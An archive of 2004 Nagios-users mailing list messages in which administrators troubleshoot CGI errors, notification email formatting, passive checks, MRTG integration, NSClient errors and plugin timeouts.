GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From phoshious at phoshious.com Tue Mar 30 02:40:55 2004 From: phoshious at phoshious.com (Greg Yuzik) Date: Mon, 29 Mar 2004 18:40:55 -0600 Subject: Internal Server Error when accessing CGI's. Message-ID: <4068C217.8070602@phoshious.com> Hey, I setup Nagios, got most stuff setup, run it as a Daemon, etc, yet when I try to access the CGI scripts from the web interface, I get: Internal Server Error The server encountered an internal error or misconfiguration and was unable to complete your request. Please contact the server administrator, webmaster at xstreamhost.com and inform them of the time the error occurred, and anything you might have done that may have caused the error. More information about this error may be available in the server error log. Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request. ------------------------------------------------------------------------ Apache/1.3.29 Server at www.xstreamhost.com Port 80 I'm not sure what to do, I've tried tweaking many things, yet it still won't work. I've added the Alias to the httpd.conf. All my paths are default. Any ideas? --Thanks, Greg. ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From zaineb.de.souza at consultant.volvo.com Tue Mar 30 03:16:52 2004 From: zaineb.de.souza at consultant.volvo.com (De Souza Zaineb) Date: Tue, 30 Mar 2004 09:16:52 +0800 Subject: host, no service Message-ID: How about a check_tcp for routers? -----Original Message----- From: Jason Martin [mailto:jhmartin at toger.us] Sent: Tuesday, 30 March 2004 9:39 AM To: De Souza Zaineb Cc: Quanah Gibson-Mount; nagios-users at lists.sourceforge.net Subject: RE: [Nagios-users] host, no service -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Routers usually support some sort of icmp interface. - -Jason Martin On Tue, 30 Mar 2004, De Souza Zaineb wrote: > Although I don't get notifications for a service check don't I get one > if a host goes down? Cause I did remove some service checks and still > gettting valid notifications. > BTW does anyone know of a suitable service check other than pinging > for a router? > Thanks > Zaineb > > -----Original Message----- > From: Quanah Gibson-Mount [mailto:quanah at stanford.edu] > Sent: Tuesday, 30 March 2004 9:27 AM > To: De Souza Zaineb; nagios-users at lists.sourceforge.net > Subject: RE: [Nagios-users] host, no service > > > > --On Tuesday, March 30, 2004 7:21 AM +0800 De Souza Zaineb > wrote: > > > I use to do this but now I find with so many hosts, my load is too > > much, which was causing all sorts of problems. > > Is there any disadvantage of having no services defined for a host, > > other than have a warning when u check the configuration files. > > You don't get any notifications. > > --Quanah > > -- > Quanah Gibson-Mount > Principal Software Developer > ITSS/TSS/Computing Systems > ITSS/TSS/Infrastructure Operations > Stanford University > GnuPG Public Key: http://www.stanford.edu/~quanah/pgp.html > > > > > ------------------------------------------------------- > This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux > tutorial presented by Daniel Robbins, President and CEO of GenToo > technologies. Learn everything from fundamentals to system > administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click > _______________________________________________ > Nagios-users mailing list > Nagios-users at lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/nagios-users > ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. > ::: Messages without supporting info will risk being sent to /dev/null > -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.3.5 (GNU/Linux) Comment: pgpenvelope 2.10.2 - http://pgpenvelope.sourceforge.net/ iD8DBQFAaLOnl2ODWuqVSBMRAii5AJ9/Unz2vXFGFNc1xxbUKLn8xJ4JtQCgmAbx QNhPuBdd3+bUTdvdbkIN72E= =kqu3 -----END PGP SIGNATURE----- ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From Daniel.Mesimer at med.va.gov Mon Mar 29 21:15:34 2004 From: Daniel.Mesimer at med.va.gov (Daniel.Mesimer at med.va.gov) Date: Mon, 29 Mar 2004 13:15:34 -0600 Subject: FW: "Host -- solved Message-ID: <707BC118BC44D3118E3B0000F81F1E7603F22E1B@VHAKANEXC1> All/James/Marc, I compiled the software myself...no packages. I had been overlooking those command definitions in the command.cfg file. The commands were using printf with a pipe to mail. The problem was what James said. I removed almost all of the escaped quotes and it seems to behave appropriately now. Thanks for all of your help! Dan Mesimer Kansas City VA Medical Center Network Support -----Original Message----- From: James [mailto:jwhittington at excelorant.com] Sent: Monday, March 29, 2004 1:09 PM To: Marc Powell Cc: Daniel.Mesimer at med.va.gov; nagios-users at lists.sourceforge.net Subject: RE: [Nagios-users] FW: "Host If he's using the dag rpm builds etc may be elsewhere (like /etc/nagios).. James On Mon, 2004-03-29 at 12:59, Marc Powell wrote: > I haven't installed any of the sample configs recently and the full > path can vary depending on your method and location of installation > but it's usually found in /usr/local/nagios/etc/commands.cfg. You > could always grep for it: > > cd /usr/local/nagios/etc/; grep -iRle > "command_name.*host-notify-by-email" * > > -- > Marc > > On Monday, March 29, 2004 11:19 AM, Daniel.Mesimer at med.va.gov shared > with us: > > > Marc/All, > > > > Where would I look for that information? I can't seems to find a > > "notify-by-email" command to check its inputs, etc. > > > > Dan Mesimer > > Kansas City VA Medical Center > > Network Support > > > > > > -----Original Message----- > > From: Marc Powell [mailto:marc at ena.com] > > Sent: Monday, March 29, 2004 9:34 AM > > To: Daniel.Mesimer at med.va.gov; nagios-users at lists.sourceforge.net > > Subject: RE: [Nagios-users] FW: "Host > > > > > > On Monday, March 29, 2004 8:13 AM, Daniel.Mesimer at med.va.gov shared > > with > > us: > > > > > All, > > > > > > I am using Nagios 1.2 am the forwarded message here is what Nagios > > > is sending as its status update email. It is obviously not > > > formatted correctly (or at least not the way I expected it to be > > > formatted). Is there something I can change to make this behave > > > more the way I expect it to? > > > > > > Thanks > > > > > > Dan Mesimer > > > Kansas City VA Medical Center > > > Network Support > > > > > > > > > -----Original Message----- > > > From: nagios at vhakannms.kansas-city.med.va.gov > > > [mailto:nagios at vhakannms.kansas-city.med.va.gov] > > > Sent: Sunday, March 28, 2004 8:23 AM > > > To: alert at vhakannms.kansas-city.med.va.gov; ", > > > daniel.mesimer at med.va.gov, DOWN, for"@b15f7.kansas-city.med.va.gov > > > Subject: "Host > > > > > > > > > > > > ""*****""Nagios""*****nnNotification""Type:""PROBLEMnHost:""b15f7nStat > e: > > ""DO > > > > > > WNnAddress:""10.120.128.46nInfo:""/bin/ping""-n""-U""-c""1""10.120.128 > .4 > > 6nnD > > > ate/Time:""Sun""Mar""28""08:22:40""CST""2004n"" > > > > > > Take a look at your host/service notify-by-email commands and make > > sure that they are using whatever flags are necessary to enable > > interpretation of > > escape sequences for your OS. If the commands are using echo, you'll > > probably need to add a -e argument to it (i.e. echo -e "***** Nagios > > *****\n..."). I believe printf interprets escape sequences properly by > > default so you could use that instead of echo -e but you should > > consult the > > man pages as both options vary by OS and release. > > > > > ------------------------------------------------------- > This SF.Net email is sponsored by: IBM Linux Tutorials > Free Linux tutorial presented by Daniel Robbins, President and CEO of > GenToo technologies. Learn everything from fundamentals to system > administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click > _______________________________________________ > Nagios-users mailing list > Nagios-users at lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/nagios-users > ::: Please include Nagios version, plugin version (-v) and OS when > reporting any issue. > ::: Messages without supporting info will risk being sent to /dev/null -- _______________________________________________ James Whittington Systems Administrator Excelorant, LLC A TM Floyd Affiliate Company 1800 St. Julian Place P.O. Box 8263 Columbia, SC 29202 803.765.1310 | Phone 800.780.1170 | Toll Free 803.765.1431 | Fax jwhittington at excelorant.com _______________________________________________ ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From peter.gutmann at db.com Mon Mar 29 21:26:44 2004 From: peter.gutmann at db.com (Peter Gutmann) Date: Mon, 29 Mar 2004 14:26:44 -0500 Subject: FW: "Host Message-ID: etc/misccommands.cfg ---- Peter Gutmann Peter.Gutmann at db.com 212-250-8435 Daniel.Mesimer at med.va.gov Sent by: nagios-users-admin at lists.sourceforge.net 03/29/2004 12:18 PM To: marc at ena.com, Daniel.Mesimer at med.va.gov, nagios-users at lists.sourceforge.net cc: Subject: RE: [Nagios-users] FW: "Host Marc/All, Where would I look for that information? I can't seems to find a "notify-by-email" command to check its inputs, etc. Dan Mesimer Kansas City VA Medical Center Network Support -----Original Message----- From: Marc Powell [mailto:marc at ena.com] Sent: Monday, March 29, 2004 9:34 AM To: Daniel.Mesimer at med.va.gov; nagios-users at lists.sourceforge.net Subject: RE: [Nagios-users] FW: "Host On Monday, March 29, 2004 8:13 AM, Daniel.Mesimer at med.va.gov shared with us: > All, > > I am using Nagios 1.2 am the forwarded message here is what Nagios is > sending as its status update email. It is obviously not formatted > correctly (or at least not the way I expected it to be formatted). Is > there something I can change to make this behave more the way I expect > it to? > > Thanks > > Dan Mesimer > Kansas City VA Medical Center > Network Support > > > -----Original Message----- > From: nagios at vhakannms.kansas-city.med.va.gov > [mailto:nagios at vhakannms.kansas-city.med.va.gov] > Sent: Sunday, March 28, 2004 8:23 AM > To: alert at vhakannms.kansas-city.med.va.gov; ", > daniel.mesimer at med.va.gov, DOWN, for"@b15f7.kansas-city.med.va.gov > Subject: "Host > > > ""*****""Nagios""*****nnNotification""Type:""PROBLEMnHost:""b15f7nState: ""DO > WNnAddress:""10.120.128.46nInfo:""/bin/ping""-n""-U""-c""1""10.120.128.4 6nnD > ate/Time:""Sun""Mar""28""08:22:40""CST""2004n"" Take a look at your host/service notify-by-email commands and make sure that they are using whatever flags are necessary to enable interpretation of escape sequences for your OS. If the commands are using echo, you'll probably need to add a -e argument to it (i.e. echo -e "***** Nagios *****\n..."). I believe printf interprets escape sequences properly by default so you could use that instead of echo -e but you should consult the man pages as both options vary by OS and release. -- Marc ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From cliff at proteris.com Tue Mar 30 04:47:36 2004 From: cliff at proteris.com (Cliff Riggs) Date: Mon, 29 Mar 2004 21:47:36 -0500 Subject: Passive service checks not being accepted by primary? In-Reply-To: <20040330001716.7927.qmail@minnow.softflare.net> References: <4EBC9156-81D8-11D8-ACCB-000A95686FB4@proteris.com> <20040330001716.7927.qmail@minnow.softflare.net> Message-ID: <99DEC296-81F4-11D8-ACCB-000A95686FB4@proteris.com> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Thank you Paul, I did disable the active checks for the services that were being checked remotely. I see the benefit of freshness checks, but I didn't want to enable those until I was confident that the passive checks themselves where being received properly. I'm embarrassed to say it, but I figured out the problem - thanks to the comments on this board in response to my post and from scouring the archives. I mentioned that I used FreeBSD and I'm normally quite diligent about changing the Linux paths to match what FreeBSD uses. I neglected to do so in one portion of the example submit_check_results script in the Nagios Distributed Monitoring discussion page. I used the example "/bin/printf" when I should have been using the "/usr/bin/printf" for FreeBSD. This meant that garbage was being sent by the send_nsca script. I also neglected my own Nagios troubleshooting procedure of running the commands from the libexec/nagios directory when I was in trouble, which would have pointed out the problem right away. Thank you to those who responded. I appreciate it! Cliff - -- - -------------------------------------------- Clifford Riggs CCIE #9314, CISSP - -------------------------------------------- Proteris Group LLC Information Security Consultants Trust. Expertise. Results. - -------------------------------------------- www.proteris.com - -------------------------------------------- On Mar 29, 2004, at 7:17 PM, Paul L. Allen wrote: > Cliff Riggs writes: >> log_passive_service_checks=1 >> accept_passive_service_checks=1 > > If it is not possible to perform active checks, you need to disable > those for the relevant services. Otherwise if the passive check gets > stale the active check will be performed and will probably fail with > a plugin timeout. > It works that way so you can have distributed monitoring. You can > perform > the checks directly from the central server but you use distributed > checks > to reduce the load on it. In this case, if one of the remote servers > goes > down the central server can take over. Obviously in this case you need > enough spare capacity on the central server to cope if one (perhaps > more, if you have a lot of remote servers) of the remote servers goes > down. > Having active checks enabled when they cannot actually be performed > will lead to misleading error messages. You'll still know there is > a problem, but you'll be misled as to what the problem really is. >> I did create a "check_dummy" command definition and apply it to my >> primary host 'check_command' as Demetri suggested, but I did not yet >> enable freshness checking as defined in the documentation. My >> understanding of the documentation was that this was an add-on to >> make sure you are regularly receiving updates from the remote server >> and not essential to accepting passive service checks. > > Freshness checking is not essential but it is desirable. Without > freshness > checking the remote server could die and you wouldn't know there is a > problem for a long time, depending exactly on how checks of various > services are scheduled (and especially if the remote server submits > passive checks for itself). With freshness checking you know if a > service > check result is overdue. It's not perfect, because you have to allow > enough slop in the freshness check interval to cover worst-case > shceduling, > which is not entirely deterministic. > -- > Paul Allen > Softflare Support > -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.3 (Darwin) iD8DBQFAaN/IJ3mHWY7troQRAvxjAJ4sO//ARS9aCncWoJNdZLtB0kHFWACeMmhP 09lxP+nTt2GmYzUCsLts+ro= =IhDG -----END PGP SIGNATURE----- ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From ae at op5.se Tue Mar 30 09:41:55 2004 From: ae at op5.se (Andreas Ericsson) Date: Tue, 30 Mar 2004 09:41:55 +0200 Subject: Check_mrtgtraf In-Reply-To: References: <40606473.40506@op5.se> Message-ID: <406924C3.5030303@op5.se> Al McKay wrote: > Andreas Ericsson op5.se> writes: > > >>Run the script manually with the same parameters as nagios does. That >>should give you a pretty good clue. >> >>Mckay, Al wrote: >> >>>I am running mrtg to monitor switches and routers on my network. The data > > is > >>>being compiled on a 5 minute cycle. I am using check_mrtgtraf to monitor > > for > >>>traffic volumes and notifying when traffic reaches certain levels. I am >>>getting periodic "No Output!" messages from the check command. I don't >>>understand how this can be happening since the mrtg and Nagios are both >>>running on the same server. >>> >>>Any help would be appreciated. >>> >>>Al McKay > > > I have run the commands manually and sometimes I get a response and sometimes > I dont. I ma completely stumped on this. The log files from te MRTG checks are > all rw-r--r-- so it cant be a permissions problem. Any further suggestions are > appreciated. > > Al McKay > Is the output on the first line of output, or are there blank lines before the 'actual' output? If so, then you can write a wrapping script around it, like so; --[ cut here ]--- #!/bin/sh cmd= $cmd "$@" 2>&1 | grep -v ^$ exit $? --[ cut here ]--- By adding the "2>&1" thingie, you redirect stderr to stdout, so you can catch any error-messages (well, the first line of it anyways). That should be useful while you're debugging. -- Mvh / Best Regards Sourcerer / Andreas Ericsson OP5 AB +46 (0)733 709032 andreas.ericsson at op5.se ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From rajeshkr206 at yahoo.com Tue Mar 30 09:04:06 2004 From: rajeshkr206 at yahoo.com (Rajesh Kumar) Date: Mon, 29 Mar 2004 23:04:06 -0800 (PST) Subject: Integrating Nagios with Mrtg and SNMP Message-ID: <20040330070406.64328.qmail@web9603.mail.yahoo.com> Dear All, Can any one help me in integrating NAGIOS with MRTG so that I can monitor the bandwidth and other system parameters over my network of windows and Linux system???? I have configured mrtg on my system without rrd. Thanks Rajesh Kumar System Engineer Cell:+91-98689176 ===== Systems Engineer HCL COMNET LTD. NOIDA,INDIA __________________________________ Do you Yahoo!? Yahoo! Finance Tax Center - File online. File on time. http://taxes.yahoo.com/filing.html ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From ae at op5.se Tue Mar 30 09:52:30 2004 From: ae at op5.se (Andreas Ericsson) Date: Tue, 30 Mar 2004 09:52:30 +0200 Subject: Error using NSclient: Return code of 139 is out of bound In-Reply-To: <40687475.7000407@algonquincollege.com> References: <40687475.7000407@algonquincollege.com> Message-ID: <4069273E.4060300@op5.se> emily zhou wrote: > Hi, > > I have monitored NT/2000 using NSclient for CPU, Mem and Disk check for > a long time, no problem at all until today I found error mesgs shown > "Return code of 139 is out of bound" about one 2000 box. The puzzle is > that Checking CPU for this box is working fine but Disk and Mem check > have that error occurred. This could theoretically happen if you have some misbehaving anti-virus software running (or viruses, which always misbehave. ;-) ). Check your eventlogs and any runtime virus-detection logs you have. If you can't find it there, you can try setting the user NSClient runs as to 'SYSTEM' (is that default?) to make sure any obscure security enhancing programs you have in place doesn't touch it. This isn't recommended however, since any bugs in it might result in arbitrary code execution from remote locations as the system user. > I have no idea what's going on, I restarted the Nagios daemon (running > on Soaris 8) and NSclient agent, no any luck. I just wonder if someone > could help, thanks a lot. > > Emily Zhou > Unix Admin > Algonquin College > -- Mvh / Best Regards Sourcerer / Andreas Ericsson OP5 AB +46 (0)733 709032 andreas.ericsson at op5.se ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From ae at op5.se Tue Mar 30 10:07:45 2004 From: ae at op5.se (Andreas Ericsson) Date: Tue, 30 Mar 2004 10:07:45 +0200 Subject: Internal Server Error when accessing CGI's. In-Reply-To: <4068C217.8070602@phoshious.com> References: <4068C217.8070602@phoshious.com> Message-ID: <40692AD1.5000605@op5.se> Greg Yuzik wrote: > Hey, > > I setup Nagios, got most stuff setup, run it as a Daemon, etc, yet when > I try to access the CGI scripts from the web interface, I get: > > > Internal Server Error > > The server encountered an internal error or misconfiguration and was > unable to complete your request. > The problem is in Apache. Run 'apachectl configtest' and see if you can figure it out. Also, if you have modified the header() function in the cgi-programs, things might not work as you expect, since some of the http headers there need to be present (as well as the double newlines before the actual html). Also, if you have f**ked up the paths, configtest will work fine but apache won't. > > More information about this error may be available in the server error log. > Which means you should check it, since it will provide answers we can't give you without them. > Additionally, a 404 Not Found error was encountered while trying to use > an ErrorDocument to handle the request. > Another configuration fault in Apache. This won't be detected with configtest either, since it doesn't check to see if files needed are there. > ------------------------------------------------------------------------ > Apache/1.3.29 Server at www.xstreamhost.com Port 80 > > > > I'm not sure what to do, I've tried tweaking many things, yet it still > won't work. > > I've added the Alias to the httpd.conf. All my paths are default. > > Any ideas? > Check the error log and the configuration. Make sure the alias points to the 'share' directory of the nagios installation, and that the cgi-bin is marked as a scriptalias. > --Thanks, > Greg. > -- Mvh / Best Regards Sourcerer / Andreas Ericsson OP5 AB +46 (0)733 709032 andreas.ericsson at op5.se ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From pamela at rak.bb.euroweb.sk Tue Mar 30 10:16:35 2004 From: pamela at rak.bb.euroweb.sk (jan gregor) Date: Tue, 30 Mar 2004 10:16:35 +0200 Subject: Integrating Nagios with Mrtg and SNMP In-Reply-To: <20040330070406.64328.qmail@web9603.mail.yahoo.com> References: <20040330070406.64328.qmail@web9603.mail.yahoo.com> Message-ID: <20040330101635.A26942@rak.bb.euroweb.sk> > Dear All, > Can any one help me in integrating NAGIOS with MRTG so > that I can monitor the bandwidth and other system > parameters over my network of windows and Linux > system???? > I have configured mrtg on my system without rrd. I have written a serie of perl scripts, which use nagios config files (ie. what is monitored is graphed) and fetch data from interfaces to rrd databases. Graphs are created on demand by rrdcgi cgi scripts. If anyone is interested just mail me. Best regards Jan Gregor ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From julia.mcwhirter at superh.com Tue Mar 30 10:42:58 2004 From: julia.mcwhirter at superh.com (McWhirter,Julia) Date: Tue, 30 Mar 2004 09:42:58 +0100 Subject: Notify-by-email on Solaris 8 doesn't populate the subject Message-ID: <9FF3133289A7A84E81E2ED8F5E56B379D0C9A8@sh-uk-ex01.uk.w2k.superh.com> To do this either manually edit the misccommands.cfg and change all mail entries to mailx or use the --with-mail switch with configure. I just edited the cfg file works well now. Regards Julia McWhirter IT Manager SuperH (UK) Ltd First Floor Network House 2410 Aztec West Almondbury Bristol BS32 4QX Tel : 01454 465600 Tel (Direct) : 01454 465661 Tel (Mobile) : 07979 913494 Fax : 01454 465601 Email : julia.mcwhirter at superh.com www : www.superh.com -----Original Message----- From: nagios-users-admin at lists.sourceforge.net [mailto:nagios-users-admin at lists.sourceforge.net] On Behalf Of Matt Pounsett Sent: Monday, March 29, 2004 9:54 PM To: Narayanasamy, Sundar Cc: nagios-users at lists.sourceforge.net Subject: Re: [Nagios-users] Notify-by-email on Solaris 8 doesn't populate the subject On Fri, 26 Mar 2004, Narayanasamy, Sundar wrote: > Hello, > > Whenever I get a warning or error notification from my Nagios installation on my Solaris box, it comes with empty subject line. How do I fix it? > > This is what I have > > # 'notify-by-email' command definition > define command{ > command_name notify-by-email > command_line /usr/bin/printf "%b" "***** Nagios *****\n\nNotification Type: $NOTIFICATIONTYPE$\n\nService: $SERVIC > EDESC$\nHost: $HOSTALIAS$\nAddress: $HOSTADDRESS$\nState: $SERVICESTATE$\n\nDate/Time: $DATETIME$\n\nAdditional Info:\n\n$OUTP > UT$" | /usr/bin/mail -s "** $NOTIFICATIONTYPE$ alert - $HOSTALIAS$/$SERVICEDESC$ is $SERVICESTATE$ **" $CONTACTEMAIL$ > } > > Any help is appreciated. To get standard "mail" behavior on Solaris, use "mailx". -- Matt Pounsett CIRA - Canadian Internet Registration Authority Technical Support Programmer 350 Sparks Street, Suite 1110 matt.pounsett at cira.ca Ottawa, Ontario, Canada 613.237.5335 ext. 231 http://www.cira.ca ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From jdoyle at lewisgaleclinic.com Tue Mar 30 16:23:34 2004 From: jdoyle at lewisgaleclinic.com (Jack Doyle) Date: Tue, 30 Mar 2004 09:23:34 -0500 Subject: Plugin timeout Message-ID: I'm sure I've seen this somewhere before. But if I'm using a check_ping and I'm doing 5 pings. I every now and then get a "Plugin timed out after 10 seconds." Is there a way to extend this timeout period to about 13 or 14 seconds? I just want to make sure it has time to do all of the pings before it shows up as timed out. ----- John N. Doyle, Network+ Certified Professional Systems Operations Specialist Lewis-Gale Clinic Information Systems 540.772.3669 >PGP Key Available: http://68.106.83.67:8082/pgp.txt ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From rnelson at windchannel.com Tue Mar 30 16:26:05 2004 From: rnelson at windchannel.com (Robert Nelson) Date: Tue, 30 Mar 2004 09:26:05 -0500 Subject: host, no service Message-ID: > Actually, I think you misunderstood his question. The > correct answer is > "Whenever a service check on that host fails". It makes not > difference > to nagios whether the results of that failed service check > came from an > active or passive check. Host checks only occur when ALL service checks fail, not when ANY fail, correct? Rob Nelson Network Engineer Windchannel Communications M: 919-538-6326 ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From jdoyle at lewisgaleclinic.com Tue Mar 30 16:29:45 2004 From: jdoyle at lewisgaleclinic.com (Jack Doyle) Date: Tue, 30 Mar 2004 09:29:45 -0500 Subject: host, no service Message-ID: to the best of my knowledge, if you don't have any services defined for a host, you'll never know if it's up or down. You should define at least a check_ping. ----- John N. Doyle, Network+ Certified Professional Systems Operations Specialist Lewis-Gale Clinic Information Systems 540.772.3669 >PGP Key Available: http://68.106.83.67:8082/pgp.txt -----Original Message----- From: De Souza Zaineb [mailto:zaineb.de.souza at consultant.volvo.com] Sent: Monday, March 29, 2004 6:22 PM To: Quanah Gibson-Mount; Martinez Gonzalez, Francisco; nagios-users at lists.sourceforge.net Subject: RE: [Nagios-users] host, no service I use to do this but now I find with so many hosts, my load is too much, which was causing all sorts of problems. Is there any disadvantage of having no services defined for a host, other than have a warning when u check the configuration files. -Zaineb -----Original Message----- From: nagios-users-admin at lists.sourceforge.net [mailto:nagios-users-admin at lists.sourceforge.net] On Behalf Of Quanah Gibson-Mount Sent: Monday, 29 March 2004 7:05 PM To: Martinez Gonzalez, Francisco; nagios-users at lists.sourceforge.net Subject: Re: [Nagios-users] host, no service --On Monday, March 29, 2004 10:17 AM +0200 "Martinez Gonzalez, Francisco" wrote: > > Hello, > > A question: > > If one host has not active services associated with him (only has > pasives), when does the host check? It doesn't. So I create "ping" services right now to handle this scenario. --Quanah -- Quanah Gibson-Mount Principal Software Developer ITSS/TSS/Computing Systems ITSS/TSS/Infrastructure Operations Stanford University GnuPG Public Key: http://www.stanford.edu/~quanah/pgp.html ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system 